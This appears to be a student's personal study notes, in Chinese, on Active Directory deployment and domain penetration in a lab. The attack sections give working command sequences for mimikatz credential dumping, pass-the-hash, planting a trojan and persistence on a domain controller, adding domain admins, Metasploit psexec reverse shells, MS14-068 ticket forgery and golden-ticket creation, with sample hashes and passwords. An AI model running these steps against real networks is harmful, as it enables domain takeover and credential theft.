4.5网安学习第四阶段第五周回顾(个人学习记录使用)

本周重点

①部署域环境(Win2008)

②域组策略

③域内信息收集

④(重点)哈希传递攻击PTH

⑤MS14-068 提权漏洞

⑥黄金票据伪造

⑦白银票据伪造

⑧ZeroLogon (CVE-2020-1472) 漏洞复现

本周主要内容

①部署域环境(Win2008)

一、工作组和域

1、为什么需要域

在早期Windows主机都是属于工作组网络,单独的个体,在企业环境中,针对于工作组网络的计算机要达到统一管理相当麻烦,为实现将一个企业中所有的用户和计算机进行集中管理(如域安全策略、软件集中安装部署、统一登录认证等),在Windows server操作系统上部署AD来实现这一需求。

工作组主机(独立操作,适用于个人电脑)

image-20230814005454922

域主机(统一操作,适用于工作环境)

image-20230814005412762

二、Active Directory基本概念

1、概述
  • 活动目录(Active Directory)是面向Windows Standard Server、Windows Enterprise Server以及 Windows Datacenter Server的目录服务。
  • Active Directory不能运行在Windows Web Server上,但是可以通过它对运行Windows Web Server的计算机进行管理。
  • Active Directory存储了有关网络对象的信息,并且让管理员和用户能够轻松地查找和使用这些信息。
  • Active Directory使用了一种结构化的数据存储方式,并以此作为基础对目录信息进行合乎逻辑的分层组织
2、功能
  • 服务器及客户端计算机管理:管理服务器及客户端计算机账户,所有服务器及客户端计算机加入域管理并实施组策略。
  • 用户服务:管理用户域账户、用户信息、企业通讯录(与电子邮件系统集成)、用户组管理、用户身份认证、用户授权管理等,按省实施组管理策略。
  • 资源管理:管理打印机、文件共享服务等网络资源。
  • 桌面配置:系统管理员可以集中的配置各种桌面配置策略,如:用户使用域中资源权限限制、界面功能的限制、应用程序执行特征限制、网络连接限制、安全配置限制等。
  • 应用系统支撑:支持财务、人事、电子邮件、企业信息门户、办公自动化、补丁管理、防病毒系统等各种应用系统
  • 主要将网络中的计算机逻辑上组织到一起集中管理

三、Active Directory相关概念

1、Active Directory
  • AD是Windows server的一种服务
  • AD是一个目录数据库,被用来存储用户账户、计算机账户、打印机与共享文件夹等对象,而提供目录服务的组件就是AD域服务器,它负责目录数据库的存储、添加、删除、修改与查询等工作
2、域
  • 活动目录的一种实现形式。
  • 域是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。
  • 当一个域与其他域建立了信任关系后,两个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输
3、域控制器(DC,Domain Controller)
  • 安装了活动目录的一台计算机(一般为Windows server)
  • 一个域可以有多台域控制器
4、名称空间(DNS域名空间)
  • 是一个区域的名字(在DNS上新建的一个区域)
  • 定位了网络资源(域名资源)的位置
5、对象和属性
  • 对象由一组属性组成,它代表的是具体的事物
  • 属性就是用来描述对象的数据
6、容器(组织单位、域)
  • 是一种特殊的活动目录对象
  • 作用是存放对象的空间
7、LDAP协议及相关名词
  • 轻量级目录访问协议,它基于X.500标准,是一个开放的、中立的、工业标准的应用协议。

  • 可以查询与更新活动目录数据库,活动目录利用LDAP名称路径来描述对象在活动目录内的位置。

  • 域中一个活动目录的例子,“CN=zhangsan,OU=网络安全,DC=woniuxy,DC=com”

    含义:zhangsan这个对象位于 woniuxy.com 这个域的网络安全组织单位(OU)中

    部分关键词说明:

    • DC(Domain Component,域组件):表示使用 DNS 来定义其名称空间的 LDAP 树的顶部,用 . 分开的每个单元都可以看成是一个DC域组件,上述的 woniuxy.com 就被分成了两个。

    • OU(Organization Unit,组织单位):组织单位中包含对象、容器,还可以包含其他组织单位。

    • CN(Common Name,通用名称) :对象的名称,如 zhangsan。

    • DN(Distinguished Name,可分辨名称):AD 域中每个对象都有唯一的 DN,DN 有三个属性,就上述的 DC、OU、CN。

    • UPN(User Principal Name,用户辨别名称):用于用户身份标识,如在域 woniuxy.com 中的 zhangsan 用户,它的UPN为:zhangsan@woniuxy.com。

    • FQDN(Fully Qualified Domain Name,全限定域名):同时带有主机名和域名的名称。如上述的zhangsan的 FQDN 为 zhangsan.woniuxy.com。

      image-20230227111222401

8、域组策略(GPO对象)
  • 若干策略的集合
  • 应用到容器会影响容器内所有的计算机和用户

四、域部署结构

1、物理结构
  • 站点:可以将高速连接的网络中多台域控制放入一个站点

    • 一个域的域控制器分布在不同的站点中,而站点之间是慢速连接,由于不同站点的域控制器之间会互相复制AD DS数据库,因此要谨慎规划执行复制的时段,尽量在离峰时段执行复制工作,频率不要过高,避免复制时占用站点之间的连接带宽,影响站点之间其他数据的传输效率
    • 同一个站点内的域控制器之间是通过快速链路连接在一起的,在复制AD DS数据时,可以实现快速复制。AD DS会设置让同一个站点内、隶属于同一个域的域控制器之间自动执行复制操作,默认的复制频率也要高于不同站点之间的域控制器。
  • 域控制器

    image-20220320232705431

2、逻辑结构
  • 单域:网络中只建立了一个域

  • 域树:具有连续的名称空间的多个域

  • 域林:由一个或多个没有形成连续名称空间的域树组成

  • 组织单位:域内部的一种容器(用于存放对象)

    image-20220320232359841

五、域功能级别和林功能级别

AD DS将域与林划分为不同的功能级别,每个级别各有不同的功能与限制

1、域功能级别
  • 会受早期域控制器(操作系统)版本影响
  • 只会影响到该域,不会影响到其他域
2、林功能级别
  • 会受域功能级别影响
  • 会影响到该林的所有域

image-20220320235036372

六、部署Windows域

1、配置Windows Server 2008 主域控

(1)域控Server最好配置为固定IP

image-20220320235737747

(2)添加服务器角色(Active Directory域服务)

image-20230815120308111

image-20230815120502462

一路下一步,进行AD域服务的安装。

image-20230815120547647

点击安装

(3)开始配置域服务器

image-20230815120717988

image-20230815120808737

image-20240507143746462

输入根域名:woniuxy.com

image-20230815121128603

image-20240507143927013

选择成为DNS服务器

image-20230815121428586

image-20240507144114238

选择存储位置,建议保持默认:

image-20230815121519912

输入密码:Woniu123等,满足密码强度要求:

image-20230815121629949

确认配置没有问题后进入下一步,开始配置:

image-20230815121720858

  • 部署配置:添加新林(网络中没有林也没有域)
  • 域控制选项:域功能级别和林功能级别设定,域控制功能(一般情况下第一台域控制器都会安装DNS服务器,网络中第一台域控制一定是全局编录服务器(GC),目录服务器还原模式密码用于恢复活动目录数据时使用)
  • 其他选项:NetBIOS域名一般为二级域名称(使用默认)
  • 路径:活动目录数据库及日志存放位置
  • 检查:无错误项即可安装

(5)在域控服务器上添加一个账号用于登录

域渗透,需要了解的知识点:

  1. 了解域的概念
  2. 了解域环境
  3. 收集信息
  4. 如何获取域管理员权限
    • 哈希传递攻击 (PTH)
    • 黄金票据
    • 白银票据
    • PTT
2、配置一台Windows 7的客户机

(1)将客户机加入域

为客户机配置正确的DNS服务器(输入的DNS服务器的IP,而不是域控制器的IP)这里域控制器和DNS为同一台

image-20220321001913456

根据提示,需要输入一个有权限加入该域的帐户的名称和密码(域用户,普通用户或域管理员都可)

image-20220321002323094

(2)测试是否可以使用域账户登录Windows7, 如果可以,则说明域环境配置成功。

②域组策略

一、域组策略

1、组策略介绍
  • 一组策略的集合,用于统一修改系统、设置程序
2、组策略优点
  • 减小管理成本、减小用户单独配置错误的可能性、可以针对特定对象设置特定的策略
3、组策略对象GPO
  • 存储组策略的所有配置信息,是AD中的一种特殊对象
  • 默认GPO
    • 默认域策略:影响域中所有的用户和计算机
    • 默认域控制器策略:影响组织单位“Domain Controllers”中所有的用户和计算机
  • GPO链接应用:只能链接到站点、域、OU(组织单位)上

二、域组策略应用案例

1、域组策略基本操作
  • 打开域控制器上的组策略管理

    image-20220325020256969

    image-20220325020358951

  • 在站点或者域或者OU上创建GPO对象

    image-20220325020746197

  • 通过编辑GPO对象,进入到组策略管理编辑器

    image-20220325020946458

  • 编辑完成后刷新组策略

    image-20220325021228683

2、案例一(计算机配置)
  • 实验环境:已部署Windows Server 2016域,财务部员工用户位于OU“财务部”中

  • 实验需求:财务部的所有计算机都要自动下载并安装系统补丁

    编辑“财务部”中创建的“组策略对象(GPO)”,点击”计算机配置“->”管理模板“->”Windows 组件“->”Windows 更新“,打开如下界面,编辑启用配置自动更新。

    image-20230301144601305

3、案例二(用户配置)
  • 实验环境:已部署Windows Server 2016域,销售部员工用户位于OU“销售部”中

  • 实验需求:销售部员工使用统一的桌面背景

    编辑“财务部”中创建的“组策略对象(GPO)”,点击”用户配置“->”管理模板“->”桌面“->”桌面“,打开如下界面,编辑启用桌面墙纸。墙纸名称处指定使用本地图片或是网络中分享的图片,后者可以将图片在DC的共享文件夹中。

    image-20230301145909521

4、案例三(软件分发)
  • 实验环境:已部署Windows Server 2016域,销售部员工用户位于OU“销售部”中
  • 实验需求:将软件MBSA统一分发给销售部所有员工,用户可以选择是否进行安装
  • 注意
    • 只能针对 “.msi” 格式文件进行分发(可以使用VERITAS Discover和Advanced Installer等第三方软件将.exe格式文件转换为.msi格式文件)
    • 分发是分配和发布(分配:将程序分配到用户或计算机、发布:将程序发布给用户,用户可选择是否安装;分配比发布更具有强制性)
    • 软件分发点是服务器上的共享文件夹,应采用 “\服务器名或IP地址\共享名” 方式访问
    • 外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
5、案例四
  • 实验环境:已部署Windows Server 2016域,“财务部”组中包含财务部员工用户账户UserC
  • 实验需求:财务部的员工设置密码的长度为9,允许登陆尝试次数为3次,一旦账户被锁定,必须由管理员手动解锁该账户

三、组策略应用规则

1、策略继承与阻止
  • 下级容器默认会继承来自上级容器的GPO

  • 子容器可以阻止继承上级容器的GPO

    image-20210730172447975

2、策略强制生效和筛选
  • 强制生效

    • 上级容器强制下级容器执行其GPO设置

      image-20210730172403826

    • “强制生效”会覆盖“阻止继承”设置

      image-20210730173206977

  • 筛选

    • 可阻止一个GPO应用于容器内的特定计算机或用户

      image-20210730172604885

3、组策略应用顺序
  • LSDOU(本地、站点、域、组织单位)
    • 首先应用本地组策略
    • 如果有站点组策略,则应用
    • 接着应用域策略
    • 最后应用OU上的策略
    • 如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用

③域内信息收集

一、域内常用命令

  1. 判断当前所在域

    ipconfig /all  # 查看网卡配置信息,本机IP段,所在域
    ping -a 192.168.112.100   # 通过IP反射查找域名
    net config workstation  # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
    
  2. 查看当前存在几个域。

    net view /domain 
    

    如果该命令无法正常执行,则需要启动域控服务器上的 Computer Browser服务。

  3. 查看域时间。

    net time /domain  
    
  4. 管理域用户的相关操作(需要管理员权限)。

    net user 用户名 密码 /add /domain    # 添加域用户
    net group "domain admins" 用户名 /add /domain  # 将该用户添加至管理员组中
    

二、本机信息

  1. 当前用户信息

    whoami /fqdn # 查看当前用户的 FQDN (可分辨名称)
    whoami /priv # 查看当前用户拥有的安全特权
    whoami /user #显示当前用户的信息以及安全标识符 (SID)。
    whoami /all #显示当前用户名、属于的组以及安全标识符(SID) 和当前用户访问令牌的特权
    

    域中常见的用户身份(用户组):

    • Domain Admins :域管理员,拥有对域内的其他成员完全控制的权限。
    • Domain Controllers :域控制器
    • Domain Users : 域用户
    • Domain Computers :域内机器
    • Domain Guests : 域内来宾用户组,低权限
  2. 用户列表信息

    net user 			# 查看本机用户
    net user /domain	# 查看域内用户
    

三 、主机信息收集

通过主机信息判断拿到权限的主机是普通计算器,还是服务器。我们可以通过主机的计算机名称、计算机上的文件和端口开放情况来进行判别。

  • 若主机上有 “C:\inetpub ”,说明其可能安装有 iis 服务,是一台 Web 服务器。
  • 通过开放的端口进行确认,使用命令 netstat 查看主机网络连接状态,若本机监听80、443端口,则可能为Web服务器;若监听53端口,则可能为DNS服务器。
  • 通过主机的计算机名称、计算机描述等信息,例如 dc.woniuxy.com,说明此计算机可能为该域的 DC。

四、进程列表信息

查看进程列表信息,我们可以知道机器上运行者什么程序软件,有无杀毒软件、安全防护软件、VPN、FTP等服务或软件。方便后续利用,如免杀木马制作、提权等。

  1. 使用系统命令 tasklist。

五、系统信息

收集系统信息,如系统版本、补丁信息等。

  1. systeminfo

  2. 使用 wmic 命令查看全部补丁信息。

    wmic qfe list full 
    

六、域信息收集

​ 我们在域中一般收集域用户信息,域控制器信息,域用户登录日志信息,域内所有用户名、全名和备注等信息,域内工作组信息,域管理员账号信息,域内网段划分信息与域内组织单位信息等。

​ 而我们进入一个域环境,刚开始大概率获取的是域内普通用户权限,所以在前期要收集的信息多以域控的地址、域用户或者系统等信息为主。我们可以使用Windows 系统自带的命令收集域基础信息,以下列举一些信息收集的方法。

  1. 查找当前域

    net view /domain  # 查看当前存在几个域 
    net view /domain:域名称 #查看当前域中的所有计算机
    
  2. 查找域控

    • 通过查看 logonserver 信息找到域控制器。

      set logonserver # 查看客户端登陆到哪台域控制器,简写为 set log
      
    • 通过查找 srv 记录,找到域控。

      SRV 记录是域名系统 (DNS) 资源记录。 它用于标识托管特定服务的计算机。 SRV 资源记录用于查找 Active Directory 的域控制器。 常用 nslookup 命令来进行查询,如下:

      nslookup -type=SRV _ldap._tcp.woniuxy.com  # 查找域控制器的轻型目录访问协议 (LDAP) SRV 记录
      
    • 使用 nltest 命令查询工作站与域控间的信任关系。

      nltest /dclist:woniuxy.com # 查找dc列表
      
  3. 查找域管理员

    在域中若能获取域管理员的权限则可以对域内的其他成员完全控制,不过首先我们找到域管理员用户。我们可以使用 “net group” 命令查找域中的域管理员组成员,如下:

    net group "domain admins"  /domain # 查找域中的域管理员组成员
    
  4. 尝试访问共享目录

    dir \\域控制器名 或者 IP\c$ 
    

七、主机发现

​ 通过主机发现了解当前网络中设备的分布情况,查看内网有没有其他机器等,在域内进行横向渗透的时候也需要收集主机端口和ip信息。

  1. 查看路由表

    route print   # 打印当前Windows主机上的路由表
    
  2. 查看 ARP 缓存

    arp -a  # 查看当前设备上的 arp 缓存记录
    
  3. 使用 ping 探测

    for /l %i in (1,1,255) do @ping 192.168.12.%i -w 1 -n 1|find /i "ttl="
    

八、MSF框架收集

  1. 收集域信息

    search domain
    
  2. 尝试提权

    search suggester
    
    -->#使用这个payload提权
    exploit/windows/local/cve_2020_1054_drawiconex_lpe
    
  3. 搜集信息

    search windows/gather
    
    search linux/gather
    
    run post/windows/gather/enum_domain   # 枚举域信息
    run post/windows/gather/enum_patches  #展示补丁信息
    run post/windows/gather/dumplinks # 查看用户最近打开文档
    
  4. 主机存活探测

    auxiliary/scanner/discovery/arp_sweep ARP 	# 通过arp扫描
    auxiliary/scanner/discovery/udp_sweep UDP 	# 通过udp扫描
    auxiliary/scanner/netbios/nbname NETBIOS # 通过NetBIOS扫描
    auxiliary/scanner/snmp/snmp_enum SNMP 		# 通过SNMP扫描
    
  5. 端口扫描

    auxiliary/scanner/portscan/syn # 通过 SYN 进行端口扫描
    auxiliary/scanner/portscan/tcp # 通过 TCP 进行端口扫描
    auxiliary/scanner/portscan/ack # 通过 ACK 进行端口扫描
    
  6. kiwi搜集

    load kiwi
    crads_all
    

    有机会获取管理员的密码

九 、CS框架收集

利用CS中的插件 :梼杌插件、谢公子等

④**(重点)哈希传递攻击PTH(Pass The Hash)

一 、NTLM认证流程

image-20240507204850351

二、PTH简介

1、攻击原理

​ 在使用 NTLM 身份验证的系统或服务上,用户密码永远不会以明文形式通过网络发送。 Windows 上的应用程序要求用户提供明文密码,然后调用 LsaLogonUser 类的 API,将该密码转换为一个或两个哈希值(LM或NTLM hash),然后将其发送到远程服务器进行 NTLM 身份验证。由于这种机制,我们只需要哈希值即可成功完成网络身份验证,而不需要明文密码。于是当我们获取到任意用户的 Hash 值就可以针对远程系统进行身份验证并模拟该用户,从而获取用户权限。

2、使用原因
  • 在Windows Server 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,只保存用户的 Hash。所以无法抓取到 lsass.exe 进程中的明文密码。
  • 随着信息安全意识的提高,大家都使用强密码,很多时候即使能拿到 hash 却无法解开。
3、LM Hash 与 NTLM Hash

1.3.1 LM Hash

(1)LM Hash(LAN Manager Hash):微软为了提高Windows操作系统的安全性而采用的散列加密算法。

存在的问题——易被破解:LM Hash明文密码被限制在14位以内,其本质上采用的是 DES 加密算法,所以 LM Hash 存在较容易被破解的问题。于是从 Windows Vista 和Windows Server 2008开始的 Windows 系统默认禁用了 LM Hash 。这里只是禁用,主要是为了保证系统的兼容性。如果LM Hash被禁用了,攻击者使用工具抓取的 LM Hash 通常为"aad3b435b51404eeaad3b435b51404ee"。

(2)NTLM Hash

NTLM Hash(NT LAN Manager):为了在提高安全性的同时保证兼容性,微软提出了 Windows NT 挑战/响应验证机制,称之为 NTLM 。个人版 Windows 从Windwos Vista 以后,服务器版本系统从 Windows server2003 以后,其认证方式均为 NTLM Hash。

三、PTH 攻击

域控DC:Windows Server 2008 (web.woniuxy.com)

​ IP:192.168.12.156(域管用户[域]:administrator)

域内计算机:Windows 7

​ IP:192…168.12.150(本地管理员[工作组]:dong)

域:woniuxy.com

前提是 域管理员 在 域内计算机:Windows 7 上登录过 。

  1. 入侵到域内计算机 (Windows 7)

  2. 提权到系统权限

  3. 获取到域管理员的 NTLM Hash

    • load kiwi

    • creds_all

      Username       Domain   LM                                NTLM                              SHA1
      --------       ------   --                                ----                              ----
      Administrator  WONIUXY  9260a48522cf8ff725ad3b83fa6627c7  c1f07320c7bf6ab6b76a5fc834f5d771  576a313fcb9652d47bc9e7c02c41f99a238c6387
      WIN7$          WONIUXY                                    042bb951997a3aad09f3637c13af055d  3ee1b109c6c92bd4c00f5ac532ce002f904aaffa
      zhangsan       WONIUXY  c8562b666f26ab5ac2265b23734e0dac  e05b72c3ed3cde05ee1d96ec058e0131  fd5f6842dff4bcb3c925dee271e3f40bf03d5805
      
      
      ---       ------   --------
      (null)         (null)   (null)
      Administrator  WONIUXY  Woniu000
      WIN7$          WONIUXY  #l)P- GxN/Bg#<wT#,(?tqc.&c$7'ccbdy2QMb_@xgk`)L?RMa`8n>2GZ%"D*s^9c6m/y4XJA8i@WKqrMBk7GGZ7K9b(0Q:H"WP, d;Y.Wd_9fn$`L3?]o%_
      zhangsan       WONIUXY  Woniu111
      
      添加注册表:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
      强制锁屏:rundll32 user32.dll,LockWorkStation
      查看明文密码: mimikatz.exe log privilege::Debug sekurlsa::logonpasswords exit    # 直接运行Mimikatz命令,不进入交互模式
      
  4. 上传mimikatz到域内计算机:Windows 7

  5. 在win7中使用 管理员账户运行 mimikatz

    在具有管理员权限的 cmd 中运行 mimikatz.exe,获取debug权限,而后查询当前机器中所有可用凭证。

    privilege::debug

    log							# 在当前目录下写日志,输出结果均在日志中
    privilege::debug     		# 提升至调试(debug)权限(需要本地管理员权限)
    sekurlsa::logonpasswords 	# 查看所有可用的凭证(登录到本机的所有用户)
    

    image-20240507223724515

    当前是无法访问 域控服务器2008的共享目录的

    image-20240507224041070

    image-20240507224115554

  6. 利用 mimikatz 进行 PTH 攻击

    # sekurlsa::pth /user:用户名 /domain:域名或者域控IP /ntlm:用户的NTLM Hash
    sekurlsa::pth /user:administrator  /domain:192.168.12.156  /ntlm:c1f07320c7bf6ab6b76a5fc834f5d771
    

    image-20240507224931851

    此命令浪下 可以操作 域控服务器(2008)的共享目录

    image-20240507225305725

  7. 拷贝木马到域控服务器

    image-20240507225415641

    copy c:\woniu.exe \\web\c$
    
  8. 在kali中监听木马

  9. 在域控服务器中 启动运行木马

    # 查看域控服务器时间 
    net  time /domain
    
    # 定时启动 木马   2012 之后 取消了 at 
    at \\web 16:04 cmd.exe /c "C:\Tools\http_beacon_64.exe"
    
    # 执行木马程序也可以使用下面的方案 
    # 下载 PsExec 工具
    PsExec.exe /accepteula /s \\web cmd /c "C:\woniu.exe"
    
    # 为了更好的保持权限维持,也可以使用Windows的定时任务命令schtasks.exe创建定时运行的任务,如每天凌晨2点30分运行
    SCHTASKS /Create /TN HTTPBeacon /TR C:\woniu.exe /SC DAILY /ST 02:30
    
  10. getshell成功

    image-20240507230256808

还可以直接使用psexec工具在域控上获取一个反弹Shell,用于执行命令:

#需要下载psexec.exe
psexec.exe \\web cmd.exe

net user username password /add
net group "domain admins" username /add

四、在MSF和CS中操作和利用

4.1 、MSF
  1. 拿下域内计算机:Windows 7

    木马上线

  2. 使用Kiwi模块

    meterpreter > hashdump
    meterpreter > load kiwi
    meterpreter > creds_all
    meterpreter > getsystem 提权到SYSTEM权限(前提默认是本地管理员登录)
    meterpreter > kiwi_cmd sekurlsa::logonpasswords
    
Username       Domain   NTLM                              SHA1                                      LM
--------       ------   ----                              ----                                      --
Administrator  WONIUXY  b91d36d7910e1b404b44b222605463bf  6c70901a8935e6611940df583f4cba294e71e5a3  487b7dc1471b2a78b75e0c8d76954a50
  1. 使用psexec模块

    use exploit/windows/smb/psexec
    show options
    set payload windows/meterpreter/reverse_tcp
    set RHOST 192.168.10.141  # 域控的IP
    set SMBUser Administrator
    set SMBDomain woniuxy.com
    set SMBPass 487b7dc1471b2a78b75e0c8d76954a50:b91d36d7910e1b404b44b222605463bf
    show options 
    

    移动到其他机器

在这里插入图片描述
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/4d64f126ad5f45d8b711f4e4351f3d42.png

4.2 、CS

上线CS ,入侵域内计算机:Windows 7

  1. 提权

    使用插件

  2. 查看本机信息

    image-20240508000557498

    image-20240508000657918

  3. 获取域信息

    image-20240508000739172

    image-20240508000803347

  4. 内网扫描

    image-20240508000847308

    image-20240508000913897

  5. 拿下域控

    image-20240508000936231

    image-20240508001007929

⑤MS14-068 提权漏洞

PTH 攻击 :

如果说 我们 域控管理员 没有登录 域主机 ,无法获取登录的凭证 , PTH攻击无法使用

一、PTT 简介

​ 票据传递攻击(Pass The Ticket,PTT)是一种使用 Kerberos 票据代替明文密码或 NTLM 哈希的方法。PTH基于 NTLM 认证进行攻击,而 PTT 基于 Kerberos 协议进行攻击票据传递攻击,目的是伪造、窃取凭据提升权限。

​ 常用的攻击方式:MS14-068、黄金票据、白银票据、钻石票据等。

利用伪造票据的方式进行攻击

二、MS14-068 漏洞

1、漏洞简介

​ 2014年11月18 日,微软发布 MS14-068 补丁,修复了一个影响全部版本 Windows 服务器的严重漏洞。用于解决 Microsoft Windows Kerberos KDC 漏洞,该漏洞允许黑客提升任意普通用户权限成为域管理员身份。攻击者可以利用这些提升的权限控制域中所有的计算机,包括域服务器。

受影响版本:Windows Server 2003、Windows Vista、Windows Server 2008、Windows 7、Windows 8 and Windows 8.1、Windows Server 2012(以上系列的部分版本)

微软官方公告:https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068

漏洞利用前提:

  • 域控制器系统为受影响的版本,且没有打MS14-068的补丁(KB3011780)。

  • 能操作一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid

2、PAC

​ 微软在Windows平台上对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书。

​ 在一个域中,通过 User 的 SID 和所在组 Group 的 SID 来确定该用户所拥有的权限。所以 PAC 包含 Client 的 User 的 SID、Group 的 SID。PAC 为了保证自身的合法性,还包含 2 个签名。

​ (1)Client 向 AS 请求认证,验证完Client的身份后,AS 在返回 TGT 时,生成 PAC,以及用于确保 PAC 不被篡改的两个签名,一个签名的密钥为 KDC用户(krbtgt) 的 NTLM Hash,另一个签名的密钥为 Server 的 NTLM Hash,而签名的内容主要为 User SID、Group SID 。

image-20220224150835270

​ (2)Client向 TGS 发送请求,来获取访问 Server的Ticket 。TGS 对TGS Request 中的 TGT 解密,并通过两个签名来验证 PAC 的合法性。若验证通过,TGS 会重新生成两个新的签名保证 PAC 不被篡改。第一个签名的密钥为 Server 的 NTLM Hash,第二个密钥为 Server 与 Client 的临时会话密钥 Session Key(Server-Client)。新的 PAC 会被放置在签发的访问票据 Ticket 中,使用 Server 的 NTLM Hash进行加密。

image-20220224155334257

​ (3)Client 使用 Ticket 向 Server 请求相应的资源, Server收到请求,将 Ticket 解密并验证,校验 PAC 中的两个签名,验证 PAC 的合法性,之后根据 PAC 得知Client的权限,让其访问对应资源。

3、漏洞产生原理

​ Client 在向 AS 发送请求时,可以设置一个名为 include-pac 的字段为 False,而后 AS 生成的 TGT 并不会含有PAC,该字段默认为 True。在 Client 收到不含 PAC 的 TGT 后,可以添加一个 PAC 放于TGS Request 的数据包中,而 TGS 收到这个请求的数据包时,仍能正确解析出放在 TGS Request 中其他位置的 PAC 信息,因为 KDC 允许用户使用这样的构造。

​ 在 KDC 对 PAC 进行验证时,对于PAC中的签名算法,虽然原则上规定使用密钥加密的签名算法,但微软在实际场景中却允许 Client 指定任意签名算法。所以Client 构造一个PAC,其中添加高权限的User SID 与 Group SID信息,并指定使用MD5进行签名,只要TGS Requset 数据不丢失,那么该伪造的 PAC 就能被验证通过。

​ PAC 验证通过后,KDC 会将 PAC 中的 User SID、Group SID 取出来,重新使用KDC用户(krbtgt) 的 NTLM Hash 和 Server 的 NTLM Hash 分别生成两个新的签名。之后生成一个新的 TGT ,并把 PAC放入其中,加密后发送给 Client,而不是发送 Ticket 给Client。

image-20220314153951997

三、漏洞复现

1、 实验环境:

域 :woniu.com

域控制器(DC) : Windows 2008 R2 (IP:192.168.219.167)

域内计算机 :Windows 7 (IP:192.168.219.168)

普通域用户 :zhangsan

MS14-068漏洞利用工具 :MS14-068.exe (https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068)

Windows 密码获取工具 :mimikatz.exe

2、复现过程:

1、域信息获取

使用 net time /domain 命令查看所在域的时间与域服务器的名字 :

image-20220314154015826

使用 ipconfig /all ,查看DNS服务器地址,单域中DNS与DC一般在同一服务器上

image-20220314154039480

可以使用ping 命令进行校验

image-20220314154057915
域 : woniu.com
域服务器名称 : \\WIN-0834M9IH1N6.woniu.com
DC 的IP : 192.168.219.167

2、获取用户 SID ,使用命令:whoami /user

image-20220225114350843

用户SID : S-1-5-21-1090512759-1854960440-2825539314-1104

3、使用MS14-068生成伪造的 kerberos 协议票据:

使用命令为:

MS14-068.exe -u 用户名@域 -p 用户密码 -s 用户SID -d DC的IP
MS14-068.exe -u zhangsan@woniuxy.com -p Woniu111 -s S-1-5-21-1090512759-1854960440-2825539314-1104 -d 192.168.12.156

image-20220225120642413

会生成一个“ccache”格式的文件(伪造的票据文件),存放于MS14-068.exe的工作目录下。

image-20220225122036062

4、尝试访问域服务器的C盘,此时访问失败,因为我们还需要将票据导入。

image-20220225121338335

5、使用mimikatz工具删除缓存的票据,并将伪造的票据导入内存。

​ mimikatz :一款 Windows 密码获取工具,可以帮助用户提取出电脑中的登录凭证。可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证等,还有哈希传递、票证传递或构建黄金票证等功能。

(1)查看内存中已有的Kerberos票据:kerberos::list

image-20220225142803897

(2)删除缓存票据:kerberos::purge

image-20220225142910999

(3)导入伪造的票据:kerberos::ptc 票据存放路径

image-20220314154148798

6、再次访问域服务器的C盘,此时可以访问,说明普通域用户提权成功。

image-20220225143427850

使用psexec完成反弹Shell: psexec.exe \\web cmd.exe 后续操作与PTH部分的内容相同。

需要下载psexec.exe

四、在CS中提权

1、先上线域客户机Windows7(域普通用户登录时),再使用插件调用MS14-058完成本机提权,获取用户Hash和密码。

image-20230814015948023

如果目标系统不显示明文密码,插件也可以修改注册表获取明文密码。

image-20230814015800978

2、完成后将MS14-068.exe文件到Windows7的C:\Tools目录下(或任意其他目录)

3、利用MS14-068完成本机提权,获取本机登录账户信息和凭证(使用域用户上线的主机,不要使用提权后的主机,该主机仅用于获取密码Hash)。

beacon> shell cd C:\Tools
beacon> shell MS14-068.exe -u zhangsan@woniuxy.com -p Woniu456 -s S-1-5-21-265030030-3466757011-2842256786-1107 -d 192.168.112.100
# 确认在C:\Tools目录下生成了:C:\Tools\TGT_zhangsan@woniuxy.com.ccache 文件

image-20230814014826432

4、在CS中运行Mimikatz命令,完成权限获取。

beacon> mimikatz kerberos::list
beacon> mimikatz kerberos::purge
beacon> mimikatz kerberos::ptc C:\Tools\TGT_zhangsan@woniuxy.com.ccache
beacon> shell dir \\dcadmin\c$

image-20230814020250883

5、控制域控后,运行各种木马上线的命令拿下域控。

beacon> shell c:\Tools\PSTools\psexec.exe /accepteula /s \\dcadmin cmd.exe /c "C:\Tools\http_beacon_64.exe"

拿下域控后,可以利用域控管理员账户登录任意其他域客户机,实现全域控制。

五、 修复方法

下载微软官方的MS14-068漏洞的补丁,补丁为KB3011780。安装后,使用 systeminfo 命令查看系统信息总共已安装的修补程序,即可查看是否成功安装补丁。

⑥黄金票据伪造

一、原理概述

​ 在与认证过程中,经过 Client 与 AS 的通信会得到 TGT,有了 TGT 就可以向 TGS 请求访问对应 Server 资源的票据。当攻击者获取 krbtgt 的NTLM Hash值就伪造自己的 TGT ,而这个 TGT 就是常说的黄金票据。而我们拥有了黄金票据,就可以直接向 TGS 服务请求 Ticket ,而不用经过 AS 认证。

image-20220228162958737

二、 制作黄金票据

1、实验环境

域 :woniu.com

域控制器(DC) : Windows 2008 R2 (IP:192.168.219.167)

域内计算机 :Windows 7 (IP:192.168.219.168)

普通域用户 :zhangsan

Windows 密码获取工具 :mimikatz.exe

2、 利用过程

1、首先我们需要获取域控的krbtgt的 NTLM Hash,此处直接登录域管理员账号后使用 mimikatz 导出。

打开mimikatz,输入命令查看krbtgt 的 Hash:

lsadump::dcsync /domain:域 /user:krbtgt
image-20220301103500979

2、登录普通用户账号,删除缓存票据,查看域SID。

删除缓存票据:

image-20220314153458102

域SID为用户SID的前面部分:

image-20220301104227435

3、制作黄金票据。

kerberos::golden /user:普通域用户 /domain:域 /sid:域的SID /krbtgt:krbtgt的NTLM_Hash /ticket:自定义黄金票据的名字


kerberos::golden /user:zhangsan /domain:woniuxy.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /krbtgt:579f77433d1e22b9a71642d9c281181a /ticket:woniuxy-ticket

#自用
